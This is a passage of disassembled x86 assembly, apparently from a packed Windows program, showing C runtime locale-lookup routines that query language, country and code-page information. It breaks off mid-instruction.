loc_42BDB1: ; CODE XREF: sub_42BD90+18j mov esi, [ebp+arg_0] or ecx, 0FFFFFFFFh nop loc_42BDB8: ; CODE XREF: sub_42BD90+34j inc ecx mov al, [esi] or al, al jz short loc_42BDC6 inc esi bt [esp+24h+var_24], eax jnb short loc_42BDB8 loc_42BDC6: ; CODE XREF: sub_42BD90+2Dj mov eax, ecx add esp, 20h pop esi leave retn sub_42BD90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42BDD0 proc near ; CODE XREF: ___:00424ABDp var_24 = dword ptr -24h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi xor eax, eax push eax push eax push eax push eax push eax push eax push eax push eax mov edx, [ebp+arg_4] lea ecx, [ecx+0] loc_42BDE4: ; CODE XREF: sub_42BDD0+1Fj mov al, [edx] or al, al jz short loc_42BDF1 inc edx bts [esp+24h+var_24], eax jmp short loc_42BDE4 ; --------------------------------------------------------------------------- loc_42BDF1: ; CODE XREF: sub_42BDD0+18j mov esi, [ebp+arg_0] loc_42BDF4: ; CODE XREF: sub_42BDD0+2Fj mov al, [esi] or al, al jz short loc_42BE04 inc esi bt [esp+24h+var_24], eax jnb short loc_42BDF4 lea eax, [esi-1] loc_42BE04: ; CODE XREF: sub_42BDD0+28j add esp, 20h pop esi leave retn sub_42BDD0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42BE10 proc near ; CODE XREF: sub_425060+D3p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 cmp dword_4DB428, 0 jnz short loc_42BE42 call sub_42C8E0 test eax, eax jz short loc_42BE32 mov eax, dword_4DD314 mov [ebp+var_8], eax jmp short loc_42BE39 ; --------------------------------------------------------------------------- loc_42BE32: ; CODE XREF: sub_42BE10+16j mov [ebp+var_8], offset sub_42C930 loc_42BE39: ; CODE XREF: sub_42BE10+20j mov ecx, [ebp+var_8] mov dword_4DB428, ecx loc_42BE42: ; CODE XREF: sub_42BE10+Dj cmp [ebp+arg_0], 0 jnz short loc_42BE52 call sub_42C730 jmp loc_42BF1E ; --------------------------------------------------------------------------- loc_42BE52: ; CODE XREF: sub_42BE10+36j mov edx, [ebp+arg_0] mov dword_4DB418, edx cmp dword_4DB418, 0 jz short loc_42BE84 mov eax, dword_4DB418 movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_42BE84 push offset dword_4DB418 push 40h push offset off_444BA0 call sub_42C010 add esp, 0Ch loc_42BE84: ; CODE XREF: sub_42BE10+52j ; sub_42BE10+5Ej mov edx, [ebp+arg_0] add edx, 40h mov dword_4DB41C, edx cmp dword_4DB41C, 0 jz short loc_42BEB9 mov eax, dword_4DB41C movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_42BEB9 push offset dword_4DB41C push 16h push offset off_444AE8 call sub_42C010 add esp, 0Ch loc_42BEB9: ; CODE XREF: sub_42BE10+87j ; sub_42BE10+93j mov dword_4DB420, 0 cmp dword_4DB418, 0 jz short loc_42BEFD mov edx, dword_4DB418 movsx eax, byte ptr [edx] test eax, eax jz short loc_42BEFD cmp dword_4DB41C, 0 jz short loc_42BEF6 mov ecx, dword_4DB41C movsx edx, byte ptr [ecx] test edx, edx jz short loc_42BEF6 call sub_42C0A0 jmp short loc_42BEFB ; --------------------------------------------------------------------------- loc_42BEF6: ; CODE XREF: sub_42BE10+D0j ; sub_42BE10+DDj call sub_42C490 loc_42BEFB: ; CODE XREF: sub_42BE10+E4j jmp short loc_42BF1E ; --------------------------------------------------------------------------- loc_42BEFD: ; CODE XREF: sub_42BE10+BAj ; sub_42BE10+C7j cmp dword_4DB41C, 0 jz short loc_42BF19 mov eax, dword_4DB41C movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_42BF19 call sub_42C630 jmp short loc_42BF1E ; --------------------------------------------------------------------------- loc_42BF19: ; CODE XREF: sub_42BE10+F4j ; sub_42BE10+100j call sub_42C730 loc_42BF1E: ; CODE XREF: sub_42BE10+3Dj ; sub_42BE10:loc_42BEFBj ... cmp dword_4DB420, 0 jnz short loc_42BF2E xor eax, eax jmp loc_42C00C ; --------------------------------------------------------------------------- loc_42BF2E: ; CODE XREF: sub_42BE10+115j mov edx, [ebp+arg_0] add edx, 80h push edx call sub_42C760 add esp, 4 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_42BF5C mov eax, [ebp+var_4] and eax, 0FFFFh push eax nop call near ptr 26300A5h test eax, eax jnz short loc_42BF63 loc_42BF5C: ; CODE XREF: sub_42BE10+137j xor eax, eax jmp loc_42C00C ; --------------------------------------------------------------------------- loc_42BF63: ; CODE XREF: sub_42BE10+14Aj push 1 mov ecx, dword_4DB408 push ecx call near ptr 2640000h nop test eax, eax jnz short loc_42BF7D xor eax, eax jmp loc_42C00C ; --------------------------------------------------------------------------- loc_42BF7D: ; CODE XREF: sub_42BE10+164j cmp [ebp+arg_4], 0 jz short loc_42BFA8 mov edx, [ebp+arg_4] mov ax, word ptr dword_4DB408 mov [edx], ax mov ecx, [ebp+arg_4] mov dx, word ptr dword_4DB424 mov [ecx+2], dx mov eax, [ebp+arg_4] mov cx, word ptr [ebp+var_4] mov [eax+4], cx loc_42BFA8: ; CODE XREF: sub_42BE10+171j cmp [ebp+arg_8], 0 jz short loc_42C007 push 40h mov edx, [ebp+arg_8] push edx push 1001h mov eax, dword_4DB408 push eax call dword_4DB428 test eax, eax jnz short loc_42BFCD xor eax, eax jmp short loc_42C00C ; --------------------------------------------------------------------------- loc_42BFCD: ; CODE XREF: sub_42BE10+1B7j push 40h mov ecx, [ebp+arg_8] add ecx, 40h push ecx push 1002h mov edx, dword_4DB424 push edx call dword_4DB428 test eax, eax jnz short loc_42BFF0 xor eax, eax jmp short loc_42C00C ; --------------------------------------------------------------------------- loc_42BFF0: ; CODE XREF: sub_42BE10+1DAj push 0Ah mov eax, [ebp+arg_8] add eax, 80h push eax mov ecx, [ebp+var_4] push ecx call sub_426D90 add esp, 0Ch loc_42C007: ; CODE XREF: sub_42BE10+19Cj mov eax, 1 loc_42C00C: ; CODE XREF: sub_42BE10+119j ; sub_42BE10+14Ej ... mov esp, ebp pop ebp retn sub_42BE10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C010 proc near ; CODE XREF: sub_42BE10+6Cp ; sub_42BE10+A1p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_8], 1 mov [ebp+var_C], 0 loc_42C024: ; CODE XREF: sub_42C010:loc_42C08Cj mov eax, [ebp+var_C] cmp eax, [ebp+arg_4] jg short loc_42C08E cmp [ebp+var_8], 0 jz short loc_42C08E mov eax, [ebp+var_C] add eax, [ebp+arg_4] cdq sub eax, edx sar eax, 1 mov [ebp+var_4], eax mov ecx, [ebp+var_4] mov edx, [ebp+arg_0] mov eax, [edx+ecx*8] push eax mov ecx, [ebp+arg_8] mov edx, [ecx] push edx call sub_42FE70 add esp, 8 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_42C072 mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] lea edx, [ecx+eax*8+4] mov eax, [ebp+arg_8] mov [eax], edx jmp short loc_42C08C ; --------------------------------------------------------------------------- loc_42C072: ; CODE XREF: sub_42C010+4Fj cmp [ebp+var_8], 0 jge short loc_42C083 mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+arg_4], ecx jmp short loc_42C08C ; --------------------------------------------------------------------------- loc_42C083: ; CODE XREF: sub_42C010+66j mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_C], edx loc_42C08C: ; CODE XREF: sub_42C010+60j ; sub_42C010+71j jmp short loc_42C024 ; --------------------------------------------------------------------------- loc_42C08E: ; CODE XREF: sub_42C010+1Aj ; sub_42C010+20j mov esp, ebp pop ebp retn sub_42C010 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C0A0 proc near ; CODE XREF: sub_42BE10+DFp var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov eax, dword_4DB418 push eax call sub_414BE0 add esp, 4 xor ecx, ecx cmp eax, 3 setz cl mov dword_4DB414, ecx mov edx, dword_4DB41C push edx call sub_414BE0 add esp, 4 xor ecx, ecx cmp eax, 3 setz cl mov dword_4DB40C, ecx mov dword_4DB408, 0 cmp dword_4DB414, 0 jz short loc_42C0F9 mov [ebp+var_4], 2 jmp short loc_42C10B ; --------------------------------------------------------------------------- loc_42C0F9: ; CODE XREF: sub_42C0A0+4Ej mov edx, dword_4DB418 push edx call sub_42CB40 add esp, 4 mov [ebp+var_4], eax loc_42C10B: ; CODE XREF: sub_42C0A0+57j mov eax, [ebp+var_4] mov dword_4DB410, eax push 1 push offset sub_42C160 nop call near ptr 2630000h mov ecx, dword_4DB420 and ecx, 100h test ecx, ecx jz short loc_42C14C mov edx, dword_4DB420 and edx, 200h test edx, edx jz short loc_42C14C mov eax, dword_4DB420 and eax, 7 test eax, eax jnz short loc_42C156 loc_42C14C: ; CODE XREF: sub_42C0A0+8Ej ; sub_42C0A0+9Ej mov dword_4DB420, 0 loc_42C156: ; CODE XREF: sub_42C0A0+AAj mov esp, ebp pop ebp retn sub_42C0A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C160 proc near ; DATA XREF: sub_42C0A0+75o var_7C = dword ptr -7Ch var_78 = byte ptr -78h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 7Ch mov eax, [ebp+arg_0] push eax call sub_42CAC0 add esp, 4 mov [ebp+var_7C], eax push 78h lea ecx, [ebp+var_78] push ecx mov edx, dword_4DB40C neg edx sbb edx, edx and edx, 0FFFFF005h add edx, 1002h push edx mov eax, [ebp+var_7C] push eax call dword_4DB428 test eax, eax jnz short loc_42C1B4 mov dword_4DB420, 0 mov eax, 1 jmp loc_42C47E ; --------------------------------------------------------------------------- loc_42C1B4: ; CODE XREF: sub_42C160+3Ej lea ecx, [ebp+var_78] push ecx mov edx, dword_4DB41C push edx call sub_42FE70 add esp, 8 test eax, eax jnz loc_42C2EF push 78h lea eax, [ebp+var_78] push eax mov ecx, dword_4DB414 neg ecx sbb ecx, ecx and ecx, 0FFFFF002h add ecx, 1001h push ecx mov edx, [ebp+var_7C] push edx call dword_4DB428 test eax, eax jnz short loc_42C20E mov dword_4DB420, 0 mov eax, 1 jmp loc_42C47E ; --------------------------------------------------------------------------- loc_42C20E: ; CODE XREF: sub_42C160+98j lea eax, [ebp+var_78] push eax mov ecx, dword_4DB418 push ecx call sub_42FE70 add esp, 8 test eax, eax jnz short loc_42C250 mov edx, dword_4DB420 or edx, 304h mov dword_4DB420, edx mov eax, [ebp+var_7C] mov dword_4DB424, eax mov ecx, dword_4DB424 mov dword_4DB408, ecx jmp loc_42C2EF ; --------------------------------------------------------------------------- loc_42C250: ; CODE XREF: sub_42C160+C3j mov edx, dword_4DB420 and edx, 2 test edx, edx jnz loc_42C2EF cmp dword_4DB410, 0 jz short loc_42C2BD mov eax, dword_4DB410 push eax lea ecx, [ebp+var_78] push ecx mov edx, dword_4DB418 push edx call sub_42FF40 add esp, 0Ch test eax, eax jnz short loc_42C2BD mov eax, dword_4DB420 or al, 2 mov dword_4DB420, eax mov ecx, [ebp+var_7C] mov dword_4DB424, ecx mov edx, dword_4DB418 push edx call sub_414BE0 add esp, 4 cmp eax, dword_4DB410 jnz short loc_42C2BB mov eax, [ebp+var_7C] mov dword_4DB408, eax loc_42C2BB: ; CODE XREF: sub_42C160+151j jmp short loc_42C2EF ; --------------------------------------------------------------------------- loc_42C2BD: ; CODE XREF: sub_42C160+108j ; sub_42C160+125j mov ecx, dword_4DB420 and ecx, 1 test ecx, ecx jnz short loc_42C2EF mov edx, [ebp+var_7C] push edx call sub_42C800 add esp, 4 test eax, eax jz short loc_42C2EF mov eax, dword_4DB420 or al, 1 mov dword_4DB420, eax mov ecx, [ebp+var_7C] mov dword_4DB424, ecx loc_42C2EF: ; CODE XREF: sub_42C160+69j ; sub_42C160+EBj ... mov edx, dword_4DB420 and edx, 300h cmp edx, 300h jz loc_42C471 push 78h lea eax, [ebp+var_78] push eax mov ecx, dword_4DB414 neg ecx sbb ecx, ecx and ecx, 0FFFFF002h add ecx, 1001h push ecx mov edx, [ebp+var_7C] push edx call dword_4DB428 test eax, eax jnz short loc_42C346 mov dword_4DB420, 0 mov eax, 1 jmp loc_42C47E ; --------------------------------------------------------------------------- loc_42C346: ; CODE XREF: sub_42C160+1D0j lea eax, [ebp+var_78] push eax mov ecx, dword_4DB418 push ecx call sub_42FE70 add esp, 8 test eax, eax jnz loc_42C410 mov edx, dword_4DB420 or dh, 2 mov dword_4DB420, edx cmp dword_4DB414, 0 jz short loc_42C39A mov eax, dword_4DB420 or ah, 1 mov dword_4DB420, eax cmp dword_4DB408, 0 jnz short loc_42C398 mov ecx, [ebp+var_7C] mov dword_4DB408, ecx loc_42C398: ; CODE XREF: sub_42C160+22Dj jmp short loc_42C40E ; --------------------------------------------------------------------------- loc_42C39A: ; CODE XREF: sub_42C160+217j cmp dword_4DB410, 0 jz short loc_42C3EF mov edx, dword_4DB418 push edx call sub_414BE0 add esp, 4 cmp eax, dword_4DB410 jnz short loc_42C3EF push 1 mov eax, [ebp+var_7C] push eax call sub_42C850 add esp, 8 test eax, eax jz short loc_42C3ED mov ecx, dword_4DB420 or ch, 1 mov dword_4DB420, ecx cmp dword_4DB408, 0 jnz short loc_42C3ED mov edx, [ebp+var_7C] mov dword_4DB408, edx loc_42C3ED: ; CODE XREF: sub_42C160+26Aj ; sub_42C160+282j jmp short loc_42C40E ; --------------------------------------------------------------------------- loc_42C3EF: ; CODE XREF: sub_42C160+241j ; sub_42C160+258j mov eax, dword_4DB420 or ah, 1 mov dword_4DB420, eax cmp dword_4DB408, 0 jnz short loc_42C40E mov ecx, [ebp+var_7C] mov dword_4DB408, ecx loc_42C40E: ; CODE XREF: sub_42C160:loc_42C398j ; sub_42C160:loc_42C3EDj ... jmp short loc_42C471 ; --------------------------------------------------------------------------- loc_42C410: ; CODE XREF: sub_42C160+1FBj cmp dword_4DB414, 0 jnz short loc_42C471 cmp dword_4DB410, 0 jz short loc_42C471 mov edx, dword_4DB410 push edx lea eax, [ebp+var_78] push eax mov ecx, dword_4DB418 push ecx call sub_42FF40 add esp, 0Ch test eax, eax jnz short loc_42C471 push 0 mov edx, [ebp+var_7C] push edx call sub_42C850 add esp, 8 test eax, eax jz short loc_42C471 mov eax, dword_4DB420 or ah, 1 mov dword_4DB420, eax cmp dword_4DB408, 0 jnz short loc_42C471 mov ecx, [ebp+var_7C] mov dword_4DB408, ecx loc_42C471: ; CODE XREF: sub_42C160+1A1j ; sub_42C160:loc_42C40Ej ... mov eax, dword_4DB420 and eax, 4 neg eax sbb eax, eax inc eax loc_42C47E: ; CODE XREF: sub_42C160+4Fj ; sub_42C160+A9j ... mov esp, ebp pop ebp retn 4 sub_42C160 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C490 proc near ; CODE XREF: sub_42BE10:loc_42BEF6p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov eax, dword_4DB418 push eax call sub_414BE0 add esp, 4 xor ecx, ecx cmp eax, 3 setz cl mov dword_4DB414, ecx cmp dword_4DB414, 0 jz short loc_42C4C2 mov [ebp+var_4], 2 jmp short loc_42C4D4 ; --------------------------------------------------------------------------- loc_42C4C2: ; CODE XREF: sub_42C490+27j mov edx, dword_4DB418 push edx call sub_42CB40 add esp, 4 mov [ebp+var_4], eax loc_42C4D4: ; CODE XREF: sub_42C490+30j mov eax, [ebp+var_4] mov dword_4DB410, eax push 1 push offset sub_42C510 nop call near ptr 2630000h mov ecx, dword_4DB420 and ecx, 4 test ecx, ecx jnz short loc_42C500 mov dword_4DB420, 0 loc_42C500: ; CODE XREF: sub_42C490+64j mov esp, ebp pop ebp retn sub_42C490 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C510 proc near ; DATA XREF: sub_42C490+4Eo var_7C = dword ptr -7Ch var_78 = byte ptr -78h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 7Ch mov eax, [ebp+arg_0] push eax call sub_42CAC0 add esp, 4 mov [ebp+var_7C], eax push 78h lea ecx, [ebp+var_78] push ecx mov edx, dword_4DB414 neg edx sbb edx, edx and edx, 0FFFFF002h add edx, 1001h push edx mov eax, [ebp+var_7C] push eax call dword_4DB428 test eax, eax jnz short loc_42C564 mov dword_4DB420, 0 mov eax, 1 jmp loc_42C629 ; --------------------------------------------------------------------------- loc_42C564: ; CODE XREF: sub_42C510+3Ej lea ecx, [ebp+var_78] push ecx loc_42C568: ; DATA XREF: Themida_:0056F96Do mov edx, dword_4DB418 push edx call sub_42FE70 add esp, 8 test eax, eax jnz short loc_42C5B9 cmp dword_4DB414, 0 jnz short loc_42C596 push 1 mov eax, [ebp+var_7C] push eax call sub_42C850 add esp, 8 test eax, eax jz short loc_42C5B7 loc_42C596: ; CODE XREF: sub_42C510+72j mov ecx, [ebp+var_7C] mov dword_4DB424, ecx mov edx, dword_4DB424 mov dword_4DB408, edx mov eax, dword_4DB420 or al, 4 mov dword_4DB420, eax loc_42C5B7: ; CODE XREF: sub_42C510+84j jmp short loc_42C61C ; --------------------------------------------------------------------------- loc_42C5B9: ; CODE XREF: sub_42C510+69j cmp dword_4DB414, 0 jnz short loc_42C61C cmp dword_4DB410, 0 jz short loc_42C61C mov ecx, dword_4DB410 push ecx lea edx, [ebp+var_78] push edx mov eax, dword_4DB418 push eax call sub_42FF40 add esp, 0Ch test eax, eax jnz short loc_42C61C push 0 mov ecx, [ebp+var_7C] push ecx call sub_42C850 add esp, 8 test eax, eax jz short loc_42C61C mov edx, [ebp+var_7C] mov dword_4DB424, edx mov eax, dword_4DB424 mov dword_4DB408, eax mov ecx, dword_4DB420 or ecx, 4 mov dword_4DB420, ecx loc_42C61C: ; CODE XREF: sub_42C510:loc_42C5B7j ; sub_42C510+B0j ... mov eax, dword_4DB420 and eax, 4 neg eax sbb eax, eax inc eax loc_42C629: ; CODE XREF: sub_42C510+4Fj mov esp, ebp pop ebp retn 4 sub_42C510 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C630 proc near ; CODE XREF: sub_42BE10+102p push ebp mov ebp, esp mov eax, dword_4DB41C push eax call sub_414BE0 add esp, 4 xor ecx, ecx cmp eax, 3 setz cl mov dword_4DB40C, ecx push 1 push offset sub_42C680 nop call near ptr 2630000h mov edx, dword_4DB420 and edx, 4 test edx, edx jnz short loc_42C673 mov dword_4DB420, 0 loc_42C673: ; CODE XREF: sub_42C630+37j pop ebp retn sub_42C630 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C680 proc near ; DATA XREF: sub_42C630+21o var_7C = dword ptr -7Ch var_78 = byte ptr -78h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 7Ch mov eax, [ebp+arg_0] push eax call sub_42CAC0 add esp, 4 mov [ebp+var_7C], eax push 78h lea ecx, [ebp+var_78] push ecx mov edx, dword_4DB40C neg edx sbb edx, edx and edx, 0FFFFF005h add edx, 1002h push edx mov eax, [ebp+var_7C] push eax call dword_4DB428 test eax, eax jnz short loc_42C6D1 mov dword_4DB420, 0 mov eax, 1 jmp short loc_42C726 ; --------------------------------------------------------------------------- loc_42C6D1: ; CODE XREF: sub_42C680+3Ej lea ecx, [ebp+var_78] push ecx mov edx, dword_4DB41C push edx call sub_42FE70 add esp, 8 test eax, eax jnz short loc_42C719 mov eax, [ebp+var_7C] push eax call sub_42C800 add esp, 4 test eax, eax jz short loc_42C719 mov ecx, [ebp+var_7C] mov dword_4DB424, ecx mov edx, dword_4DB424 mov dword_4DB408, edx mov eax, dword_4DB420 or al, 4 mov dword_4DB420, eax loc_42C719: ; CODE XREF: sub_42C680+66j ; sub_42C680+76j mov eax, dword_4DB420 and eax, 4 neg eax sbb eax, eax inc eax loc_42C726: ; CODE XREF: sub_42C680+4Fj mov esp, ebp pop ebp retn 4 sub_42C680 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C730 proc near ; CODE XREF: sub_42BE10+38p ; sub_42BE10:loc_42BF19p push ebp mov ebp, esp mov eax, dword_4DB420 or eax, 104h mov dword_4DB420, eax nop call near ptr 2620C10h mov dword_4DB424, eax mov ecx, dword_4DB424 mov dword_4DB408, ecx pop ebp retn sub_42C730 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C760 proc near ; CODE XREF: sub_42BE10+128p var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 cmp [ebp+arg_0], 0 jz short loc_42C78B mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_42C78B push offset off_434D0C mov edx, [ebp+arg_0] push edx call sub_417870 add esp, 8 test eax, eax jnz short loc_42C7B3 loc_42C78B: ; CODE XREF: sub_42C760+Aj ; sub_42C760+14j push 8 lea eax, [ebp+var_8] push eax push 1004h mov ecx, dword_4DB424 push ecx call dword_4DB428 test eax, eax jnz short loc_42C7AB xor eax, eax jmp short loc_42C7F7 ; --------------------------------------------------------------------------- loc_42C7AB: ; CODE XREF: sub_42C760+45j lea edx, [ebp+var_8] mov [ebp+arg_0], edx jmp short loc_42C7EB ; --------------------------------------------------------------------------- loc_42C7B3: ; CODE XREF: sub_42C760+29j push offset off_434D08 mov eax, [ebp+arg_0] push eax call sub_417870 add esp, 8 test eax, eax jnz short loc_42C7EB push 8 lea ecx, [ebp+var_8] push ecx push 0Bh mov edx, dword_4DB424 push edx call dword_4DB428 test eax, eax jnz short loc_42C7E5 xor eax, eax jmp short loc_42C7F7 ; --------------------------------------------------------------------------- loc_42C7E5: ; CODE XREF: sub_42C760+7Fj lea eax, [ebp+var_8] mov [ebp+arg_0], eax loc_42C7EB: ; CODE XREF: sub_42C760+51j ; sub_42C760+66j mov ecx, [ebp+arg_0] push ecx call sub_4173D0 add esp, 4 loc_42C7F7: ; CODE XREF: sub_42C760+49j ; sub_42C760+83j mov esp, ebp pop ebp retn sub_42C760 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C800 proc near ; CODE XREF: sub_42C160+16Ep ; sub_42C680+6Cp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = word ptr 8 push ebp mov ebp, esp sub esp, 8 mov ax, [ebp+arg_0] mov word ptr [ebp+var_4], ax mov [ebp+var_8], 0 jmp short loc_42C820 ; --------------------------------------------------------------------------- loc_42C817: ; CODE XREF: sub_42C800:loc_42C844j mov ecx, [ebp+var_8] add ecx, 1 mov [ebp+var_8], ecx loc_42C820: ; CODE XREF: sub_42C800+15j cmp [ebp+var_8], 0Ah jnb short loc_42C846 mov edx, [ebp+var_4] and edx, 0FFFFh mov eax, [ebp+var_8] xor ecx, ecx mov cx, word_444AD4[eax*2] cmp edx, ecx jnz short loc_42C844 xor eax, eax jmp short loc_42C84B ; --------------------------------------------------------------------------- loc_42C844: ; CODE XREF: sub_42C800+3Ej jmp short loc_42C817 ; --------------------------------------------------------------------------- loc_42C846: ; CODE XREF: sub_42C800+24j mov eax, 1 loc_42C84B: ; CODE XREF: sub_42C800+42j mov esp, ebp pop ebp retn sub_42C800 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C850 proc near ; CODE XREF: sub_42C160+260p ; sub_42C160+2E6p ... var_7C = byte ptr -7Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7Ch push esi mov eax, [ebp+arg_0] and eax, 0FFFFh and eax, 3FFh and eax, 0FFFFh or ah, 4 and eax, 0FFFFh mov [ebp+var_4], eax push 78h lea ecx, [ebp+var_7C] push ecx push 1 mov edx, [ebp+var_4] push edx call dword_4DB428 test eax, eax jnz short loc_42C88E xor eax, eax jmp short loc_42C8D2 ; --------------------------------------------------------------------------- loc_42C88E: ; CODE XREF: sub_42C850+38j lea eax, [ebp+var_7C] push eax call sub_42CAC0 add esp, 4 cmp [ebp+arg_0], eax jz short loc_42C8CD cmp [ebp+arg_4], 0 jz short loc_42C8CD mov ecx, dword_4DB418 push ecx call sub_42CB40 add esp, 4 mov esi, eax mov edx, dword_4DB418 push edx call sub_414BE0 add esp, 4 cmp esi, eax jnz short loc_42C8CD xor eax, eax jmp short loc_42C8D2 ; --------------------------------------------------------------------------- loc_42C8CD: ; CODE XREF: sub_42C850+4Dj ; sub_42C850+53j ... mov eax, 1 loc_42C8D2: ; CODE XREF: sub_42C850+3Cj ; sub_42C850+7Bj pop esi mov esp, ebp pop ebp retn sub_42C850 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C8E0 proc near ; CODE XREF: sub_42BE10+Fp var_98 = dword ptr -98h var_94 = dword ptr -94h var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 98h mov [ebp+var_94], 94h lea eax, [ebp+var_94] push eax nop call near ptr 26F053Fh test eax, eax jz short loc_42C919 cmp [ebp+var_84], 2 jnz short loc_42C919 mov [ebp+var_98], 1 jmp short loc_42C923 ; --------------------------------------------------------------------------- loc_42C919: ; CODE XREF: sub_42C8E0+22j ; sub_42C8E0+2Bj mov [ebp+var_98], 0 loc_42C923: ; CODE XREF: sub_42C8E0+37j mov eax, [ebp+var_98] mov esp, ebp pop ebp retn sub_42C8E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C930 proc near ; DATA XREF: sub_42BE10:loc_42BE32o var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 14h mov [ebp+var_10], 0 mov [ebp+var_4], 1Ah mov [ebp+var_8], 0 loc_42C94B: ; CODE XREF: sub_42C930:loc_42CA93j mov eax, [ebp+var_10] cmp eax, [ebp+var_4] jg loc_42CA98 mov eax, [ebp+var_10] add eax, [ebp+var_4] cdq sub eax, edx sar eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+var_C] imul ecx, 2Ch mov edx, [ebp+arg_0] cmp edx, dword_444630[ecx] jnz loc_42CA6E mov eax, [ebp+arg_4] mov [ebp+var_14], eax cmp [ebp+var_14], 0Bh ja short loc_42C9A7 cmp [ebp+var_14], 0Bh jz loc_42CA19 cmp [ebp+var_14], 1 jz short loc_42C9C4 cmp [ebp+var_14], 3 jz short loc_42C9E6 cmp [ebp+var_14], 7 jz short loc_42CA08 jmp loc_42CA38 ; --------------------------------------------------------------------------- loc_42C9A7: ; CODE XREF: sub_42C930+54j cmp [ebp+var_14], 1001h jz short loc_42C9D5 cmp [ebp+var_14], 1002h jz short loc_42C9F7 cmp [ebp+var_14], 1004h jz short loc_42CA2A jmp short loc_42CA38 ; --------------------------------------------------------------------------- loc_42C9C4: ; CODE XREF: sub_42C930+64j mov ecx, [ebp+var_C] imul ecx, 2Ch add ecx, offset a040a ; "040a" mov [ebp+var_8], ecx jmp short loc_42CA38 ; --------------------------------------------------------------------------- loc_42C9D5: ; CODE XREF: sub_42C930+7Ej mov edx, [ebp+var_C] imul edx, 2Ch mov eax, off_44463C[edx] mov [ebp+var_8], eax jmp short loc_42CA38 ; --------------------------------------------------------------------------- loc_42C9E6: ; CODE XREF: sub_42C930+6Aj mov ecx, [ebp+var_C] imul ecx, 2Ch add ecx, offset off_444640 mov [ebp+var_8], ecx jmp short loc_42CA38 ; --------------------------------------------------------------------------- loc_42C9F7: ; CODE XREF: sub_42C930+87j mov edx, [ebp+var_C] imul edx, 2Ch mov eax, off_444644[edx] mov [ebp+var_8], eax jmp short loc_42CA38 ; --------------------------------------------------------------------------- loc_42CA08: ; CODE XREF: sub_42C930+70j mov ecx, [ebp+var_C] imul ecx, 2Ch add ecx, offset off_444648 mov [ebp+var_8], ecx jmp short loc_42CA38 ; --------------------------------------------------------------------------- loc_42CA19: ; CODE XREF: sub_42C930+5Aj mov edx, [ebp+var_C] imul edx, 2Ch add edx, offset dword_44464C mov [ebp+var_8], edx jmp short loc_42CA38 ; --------------------------------------------------------------------------- loc_42CA2A: ; CODE XREF: sub_42C930+90j mov eax, [ebp+var_C] imul eax, 2Ch add eax, offset a1252 ; "1252" mov [ebp+var_8], eax loc_42CA38: ; CODE XREF: sub_42C930+72j ; sub_42C930+92j ... cmp [ebp+var_8], 0 jz short loc_42CA44 cmp [ebp+arg_C], 1 jge short loc_42CA46 loc_42CA44: ; CODE XREF: sub_42C930+10Cj jmp short loc_42CA98 ; --------------------------------------------------------------------------- loc_42CA46: ; CODE XREF: sub_42C930+112j mov ecx, [ebp+arg_C] sub ecx, 1 push ecx mov edx, [ebp+var_8] push edx mov eax, [ebp+arg_8] push eax call 